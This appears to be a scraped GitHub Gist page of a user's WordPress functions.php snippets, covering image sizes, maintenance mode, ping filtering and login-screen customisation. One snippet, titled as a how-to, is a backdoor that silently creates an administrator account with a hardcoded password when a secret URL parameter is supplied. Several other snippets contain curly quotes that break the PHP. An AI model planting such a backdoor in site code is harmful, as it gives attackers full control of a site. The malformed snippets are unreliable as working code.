Skip to content

Instantly share code, notes, and snippets.

@ovizii
ovizii / function.php
Created July 27, 2013 15:05
Add custom image sizes to WP
//<?php add_image_size( $name, $width, $height, $crop ); ?>
add_image_size( 'logo', '138', '138', true );
@ovizii
ovizii / function.php
Created July 27, 2013 15:06
Add custom image sizes to drop-down selector
// Tell the media panel to add the new size to the dropbown
function custom_image_sizes($sizes) {
$addsizes = array(
'logo' => __('logo'),
'grid_12' => __('slides')
);
$newsizes = array_merge($sizes, $addsizes);
return $newsizes;
}
add_filter('image_size_names_choose', 'custom_image_sizes');
@ovizii
ovizii / function.php
Created July 28, 2013 08:20
How to Create a Backdoor to a WordPress Website
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
@ovizii
ovizii / footer.php
Created July 28, 2013 08:21
Display # of queries and exec time
@ovizii
ovizii / function.php
Created July 28, 2013 08:23
Temporary Maintenance - this will block users who are NOT an administrator from viewing the website.
function wp_maintenance_mode(){
if(!current_user_can(‘edit_themes’) || !is_user_logged_in()){
wp_die(‘Maintenance, please come back soon.’, ‘Maintenance – please come back soon.’, array(‘response’ => ’503′));
}
}
add_action(‘get_header’, ‘wp_maintenance_mode’);
@ovizii
ovizii / function.php
Created July 28, 2013 08:26
Remove pings to self
function no_self_ping( &$links ) {
$home = get_option( 'home' );
foreach ( $links as $l => $link )
if ( 0 === strpos( $link, $home ) )
unset($links[$l]);
}
add_action( 'pre_ping', 'no_self_ping' );
@ovizii
ovizii / function.php
Created July 28, 2013 08:28
Add class to image's parent
function give_linked_images_class($html, $id, $caption, $title, $align, $url, $size, $alt = '' ){
$classes = 'shutter'; // separated by spaces, e.g. 'img image-link'
// check if there are already classes assigned to the anchor
if ( preg_match('/<a.*? class=".*?">/', $html) ) {
$html = preg_replace('/(<a.*? class=".*?)(".*?>)/', '$1 ' . $classes . '$2', $html);
} else {
$html = preg_replace('/(<a.*?)>/', '$1 class="' . $classes . '" >', $html);
}
return $html;
@ovizii
ovizii / function.php
Created July 28, 2013 08:29
Add a custom class to the last post in a loop
function last_post_class($classes){
global $wp_query;
if(($wp_query->current_post+1) == $wp_query->post_count) $classes[] = ‘last’;
return $classes;
}
add_filter(‘post_class’, ‘last_post_class’);
@ovizii
ovizii / function.php
Created July 28, 2013 08:32
Create a snapshot of any website
function wp_snap($atts, $content = NULL) {
extract(shortcode_atts(array(
"snap" => ‘http://s.wordpress.com/mshots/v1/’,
"url" => ‘http://torquemag.io/’,
"alt" => ‘WPDaily’,
"w" => ’400′, // width
"h" => ’300′ // height
), $atts));
$img = ‘<img alt="’ . $alt . ‘" src="’ . $snap . ” . urlencode($url) . ‘?w=’ . $w . ‘&h=’ . $h . ‘" />’;
@ovizii
ovizii / function.php
Created July 28, 2013 08:37
Customize LOGIN screen
// CUSTOM ADMIN LOGIN HEADER LOGO
function so_custom_login_logo() {
echo '<style type="text/css"> h1 a { background-image:url('.get_bloginfo('template_directory').'/images/logo_admin.png) !important; } </style>';
}
add_action('login_head', 'so_custom_login_logo');
// CUSTOM ADMIN LOGIN LOGO LINK
function so_change_wp_login_url() {
echo bloginfo('url'); // OR ECHO YOUR OWN URL
}